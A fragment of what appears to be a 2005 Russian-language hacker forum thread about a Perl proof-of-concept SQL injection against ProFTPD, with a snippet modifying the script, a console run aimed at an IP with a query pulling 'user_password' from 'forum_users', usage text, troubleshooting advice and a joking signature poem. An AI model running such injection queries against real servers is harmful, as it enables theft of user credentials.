#!/usr/bin/perl
use IO::Socket;
print "\nInput your IP: ";
my $server = <stdin>;
chop ($server);
print "\nInput your query: ";
my $query = <stdin>;
chop ($query);
и в середине замени print "Sent query to $ARGV[0]\n"; на print "Sent query to $server\n";
Последний раз редактировалось nerezus; 20.04.2005 в 14:20..
C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users;
Proof Of Concept Sql Inject on ProFTPD
Usage: perl poc-sqlftp <target> [1=Alternate query]
C:\perl\bin>
.........
зы ip изменён
вот когда так пишет т.е. скрипт не запускается это означает что не все или неправильный параметры передал ты скрипту.А так если анейбл то значит дырки нету =)))
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze